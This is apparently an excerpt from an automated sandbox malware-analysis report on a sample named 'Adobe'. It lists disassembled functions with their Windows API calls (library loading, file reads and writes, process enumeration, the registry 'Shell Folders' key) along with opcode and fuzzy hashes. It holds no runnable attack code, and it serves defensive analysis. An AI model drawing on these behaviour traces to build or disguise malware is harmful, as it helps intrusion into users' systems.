                                                                                                                                • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                                • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                              • GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                                                              • FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3150196962-0
                                                                                                                              • Opcode ID: e13bd3a8970da8505fcd32bc3817dd57930a815364b2861f31204fc1a755a47e
                                                                                                                              • Instruction ID: e973b1bd6c29085855c002f2d91bff7161adaf38cfdf5e3d51a6561f1cc66020
                                                                                                                              • Opcode Fuzzy Hash: e13bd3a8970da8505fcd32bc3817dd57930a815364b2861f31204fc1a755a47e
                                                                                                                              • Instruction Fuzzy Hash: D90192B1100211AAD6319FA6CC04D1BFAE9EFC0750B20883FF1D9E25A0D7B49881DB69
                                                                                                                              Function 004152C6 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 27COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              • failed to allocate %u bytes of memory, xrefs: 004152F0
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: malloc
                                                                                                                              • String ID: failed to allocate %u bytes of memory
                                                                                                                              • API String ID: 2803490479-1168259600
                                                                                                                              • Opcode ID: 5362f241c04528c046f9391a2b70be4ceaf2b9bead8481f91e416c113c2d710c
                                                                                                                              • Instruction ID: 101c51dc2fc609bd9d1e0073b1fda66f00508c6688545faad3e4fa21ce9dc4bd
                                                                                                                              • Opcode Fuzzy Hash: 5362f241c04528c046f9391a2b70be4ceaf2b9bead8481f91e416c113c2d710c
                                                                                                                              • Instruction Fuzzy Hash: 11E0DFB7B02A12A3C200561AED01AC667959FC122572B013BF92CD3681E638D89687A9
                                                                                                                              Function 0041BC3B Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 0041BDDF
                                                                                                                              • memcmp.MSVCRT(00001388,?,00000010,?,00000065,00000065,?,?,?,?,?,0041F1B4,?,00000065,004381DF,00000065), ref: 0041BDF1
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memcmpmemset
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1065087418-0
                                                                                                                              • Opcode ID: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                                                              • Instruction ID: cf105cae5e27f97c9cd1c3f46a8d5e16e2707a712041142e317bfb3d1f631299
                                                                                                                              • Opcode Fuzzy Hash: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                                                              • Instruction Fuzzy Hash: 2A615B71A01349EBDB14EFA495815EEB7B4EB04308F1440AFE609D3241E738AED4DB99
                                                                                                                              Function 004104FB Relevance: 2.6, APIs: 2, Instructions: 140COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 0040ECF9
                                                                                                                                • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 0040EDC0
                                                                                                                              • GetStdHandle.KERNEL32(000000F5), ref: 00410530
                                                                                                                              • CloseHandle.KERNELBASE(?), ref: 00410654
                                                                                                                                • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                                                                • Part of subcall function 0040973C: GetLastError.KERNEL32 ref: 00409750
                                                                                                                                • Part of subcall function 0040973C: _snwprintf.MSVCRT ref: 0040977D
                                                                                                                                • Part of subcall function 0040973C: MessageBoxW.USER32(?,?,Error,00000030), ref: 00409796
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Handle$??2@??3@CloseCreateErrorFileLastMessage_snwprintf
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1381354015-0
                                                                                                                              • Opcode ID: 331637186d7fda146188de6d28ea3842bad20729486783243114fed48956b45e
                                                                                                                              • Instruction ID: c777e68e994987bb064ab7fb99de871126f79ef1b866bcb434911d427814d160
                                                                                                                              • Opcode Fuzzy Hash: 331637186d7fda146188de6d28ea3842bad20729486783243114fed48956b45e
                                                                                                                              • Instruction Fuzzy Hash: BE417231A00204EFCB25AF65C885A9E77B6EF84711F20446FF446A7291C7B99EC0DE59
                                                                                                                              Function 0040B1AB Relevance: 2.5, APIs: 2, Instructions: 14COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1294909896-0
                                                                                                                              • Opcode ID: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                                                              • Instruction ID: 7f33cc2486ffea160e999b9abaf125df84647c5341351ad01334bd221cd3bada
                                                                                                                              • Opcode Fuzzy Hash: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                                                              • Instruction Fuzzy Hash: 32D042B0404B008ED7B0DF39D401602BBF0AB093143118D2E90AAC2A50E775A0149F08
                                                                                                                              Function 00403988 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00403A16: memset.MSVCRT ref: 00403A55
                                                                                                                                • Part of subcall function 0040A02C: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                                                                                                                                • Part of subcall function 0040A02C: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                                                                • Part of subcall function 0040A02C: CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004455D5), ref: 0040A061
                                                                                                                              • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 004039D4
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$Time$CloseCompareCreateHandlememset
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2154303073-0
                                                                                                                              • Opcode ID: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                                                              • Instruction ID: d476be81a684c5cf971044fbd14bb177a9e73989d843208b34704cc982626f94
                                                                                                                              • Opcode Fuzzy Hash: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                                                              • Instruction Fuzzy Hash: 11111CB6D00218ABCB11EFA5D9415DEBBB9EF44315F20407BE841F7281DA389F45CB95
                                                                                                                              Function 004135F7 Relevance: 1.5, APIs: 1, Instructions: 44libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 004135E0: FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                                                                • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                                • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                                • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                              • GetProcAddress.KERNEL32(?,00000000), ref: 0041362A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3150196962-0
                                                                                                                              • Opcode ID: 102e9bd218bff8034664a90f9159d5d227e7736aeb8d0cece17e8d9bf5f2cb6a
                                                                                                                              • Instruction ID: 35a9ad0fe6b4507ee66bae46934dcfd2e139bf0842d10804986ce3ee8b034d80
                                                                                                                              • Opcode Fuzzy Hash: 102e9bd218bff8034664a90f9159d5d227e7736aeb8d0cece17e8d9bf5f2cb6a
                                                                                                                              • Instruction Fuzzy Hash: BBF0A4311447126AE6306B7AAC02BE762849F00725F10862EB425D55D1EFA8D5C046AC
                                                                                                                              Function 004062A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000,00000000,004068F9,00000000,00000000,?,00000000,0040627C), ref: 004062C2
                                                                                                                                • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$PointerRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3154509469-0
                                                                                                                              • Opcode ID: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                                                              • Instruction ID: d794e9b43e5f56b2d2e2073d65b81241c22a9a75ad02cc9b2284f18e77a2fe0f
                                                                                                                              • Opcode Fuzzy Hash: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                                                              • Instruction Fuzzy Hash: 45E01276100100FFE6619B05DC06F57FBB9FBD4710F14883DB59596174C6326851CB25
                                                                                                                              Function 00414561 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 00414588
                                                                                                                                • Part of subcall function 004143F1: memset.MSVCRT ref: 00414410
                                                                                                                                • Part of subcall function 004143F1: _itow.MSVCRT ref: 00414427
                                                                                                                                • Part of subcall function 004143F1: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00414436
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: PrivateProfile$StringWrite_itowmemset
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4232544981-0
                                                                                                                              • Opcode ID: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                                                              • Instruction ID: 104e910b762de94586eb11e4c264cf061db1895f8dce3fe8c281d71359574313
                                                                                                                              • Opcode Fuzzy Hash: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                                                              • Instruction Fuzzy Hash: 8EE09232000209ABDF125F91EC01AA93B66FF54315F548469F95C05520D33295B0AB59
                                                                                                                              Function 00444A54 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FreeLibrary.KERNELBASE(?,?,004452FB,?,?,?,0040333C,?), ref: 00444A65
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FreeLibrary
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3664257935-0
                                                                                                                              • Opcode ID: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                                                              • Instruction ID: 9043d1e372537a54137ae43dcd20834ee918eeaa55a47e8e1dedab4d47514996
                                                                                                                              • Opcode Fuzzy Hash: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                                                              • Instruction Fuzzy Hash: E2E0F6B5900B018FD3708F1BE944406FBF8BFE56113108A1FD4AAC2A24D7B4A1898F54
                                                                                                                              Function 00413F27 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00413F6F
                                                                                                                                • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                                                                • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                                                                • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                                                                • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                                                              • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,00413E1F,00000104,00413E1F,00000000,?), ref: 00413F46
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$FileModuleName
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3859505661-0
                                                                                                                              • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                                              • Instruction ID: eb737a8a997ed41d0f7a348c178ce8d4b8225706e43eb580f21eee6dbde26bc7
                                                                                                                              • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                                              • Instruction Fuzzy Hash: 6FD02231B083007BEA20EE70CC00FCBA2F47F40F12F008C5AB191D2080C374C9495305
                                                                                                                              Function 0040A2EF Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2738559852-0
                                                                                                                              • Opcode ID: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                                                              • Instruction ID: df780c2d30ec27a436fe2e8938b9b3026ee6fdf868a35847a3a0dbf755fefbc9
                                                                                                                              • Opcode Fuzzy Hash: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                                                              • Instruction Fuzzy Hash: 6DD0C97505020DFBDF01CF81DC06FDD7B7DFB05359F108054BA0095060C7759A15AB55
                                                                                                                              Function 0040A30E Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WriteFile.KERNELBASE(?,00000009,?,00000000,00000000,?,?,00402F9B,?,00000000,00000000,00000000,0000017E), ref: 0040A325
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileWrite
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3934441357-0
                                                                                                                              • Opcode ID: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                                                              • Instruction ID: 3280266517864b8de079c100525e5277478ec149926fcdeece843fe2c70d8c86
                                                                                                                              • Opcode Fuzzy Hash: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                                                              • Instruction Fuzzy Hash: CFD0C93501020DFBDF01CF81DC06FDD7BBDFB04359F108054BA1095060D7B59A20AB94
                                                                                                                              Function 00413D29 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FreeLibrary.KERNELBASE(00000000,004457F2,00000000,000001F7,00000000), ref: 00413D30
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FreeLibrary
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3664257935-0
                                                                                                                              • Opcode ID: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                                                              • Instruction ID: 8f6381f957debc367d4a0444659be52de1bfd3a154b3998764173f6a98a011bd
                                                                                                                              • Opcode Fuzzy Hash: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                                                              • Instruction Fuzzy Hash: 1DD0C9765002229BDB10AF26EC057857378FF00712B110425E810B7594D778BEE68ADC
                                                                                                                              Function 004096C3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateFile
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 823142352-0
                                                                                                                              • Opcode ID: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                                                              • Instruction ID: 15e4bfb1af8ab284213ec8af4af1ca3ed9a3c322684c6da9746693c795416a08
                                                                                                                              • Opcode Fuzzy Hash: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                                                              • Instruction Fuzzy Hash: A8C092B0280200BEFE224B10EC15F36755CE744700F2008247E40F40E0C1605E108524
                                                                                                                              Function 004096DC Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateFile
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 823142352-0
                                                                                                                              • Opcode ID: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                                                              • Instruction ID: 13aef0f41518da9c32968a96bed17b980f0e8f352a8d1793a660c4ee04e7d177
                                                                                                                              • Opcode Fuzzy Hash: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                                                              • Instruction Fuzzy Hash: B8C012F02903007EFF204B10AC0AF37755DF784700F2048207E40F40E1C2B15C008524
                                                                                                                              Function 0040B04B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ??3@
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 613200358-0
                                                                                                                              • Opcode ID: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                                                              • Instruction ID: 6ff791ec813821c2e9e24527ebed0d702daabad41f6d5d50af9b89e3d4ad0470
                                                                                                                              • Opcode Fuzzy Hash: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                                                              • Instruction Fuzzy Hash: ADC09BB15117014BE7305F15D40471373D49F11727F318C1DA5D1914C2D77CD4408518
                                                                                                                              Function 004135E0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FreeLibrary
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3664257935-0
                                                                                                                              • Opcode ID: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                                                              • Instruction ID: 97b2006ec1e2dd28fddd19cbcf35086f2a6b1d7d6d8af37d8808782836c913ed
                                                                                                                              • Opcode Fuzzy Hash: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                                                              • Instruction Fuzzy Hash: C1C04C355107129BE7318F22C849793B3E8BB00767F40C818A56A85454D7BCE594CE28
                                                                                                                              Function 0041493C Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • EnumResourceNamesW.KERNELBASE(?,?,Function_000148B6,00000000), ref: 0041494B
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: EnumNamesResource
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3334572018-0
                                                                                                                              • Opcode ID: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                                                              • Instruction ID: 4cd0fc1a45efe5f4a77ff86a676eea9814a6d41529a344ef69fdb726e0e13cac
                                                                                                                              • Opcode Fuzzy Hash: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                                                              • Instruction Fuzzy Hash: 5CC09B355943819FD711DF108C05F1A76D5BF95705F104C397151940A0C7614014A60A
                                                                                                                              Function 0044DEA5 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FreeLibrary.KERNELBASE(?), ref: 0044DEB6
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FreeLibrary
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3664257935-0
                                                                                                                              • Opcode ID: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                                                              • Instruction ID: c12df66a07a312a107e4de7a98dbd39cb061029a89fa16cd2619b088cce9516a
                                                                                                                              • Opcode Fuzzy Hash: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                                                              • Instruction Fuzzy Hash: 95C04C35D10311ABFB31AB11ED4975232A5BB00717F52006494128D065D7B8E454CB2D
                                                                                                                              Function 0040AEBE Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindClose.KERNELBASE(?,0040AE21,?,00000000,00445EF5,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AEC8
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseFind
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1863332320-0
                                                                                                                              • Opcode ID: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                                                              • Instruction ID: 0a5868f0c47a417661f40efe111cada53839b745ef6d73ffe26d621af3302058
                                                                                                                              • Opcode Fuzzy Hash: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                                                              • Instruction Fuzzy Hash: 06C092341506058BD62C5F38DC9A42A77A0BF4A3303B40F6CA0F3D24F0E73888538A04
                                                                                                                              Function 00414592 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Open
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 71445658-0
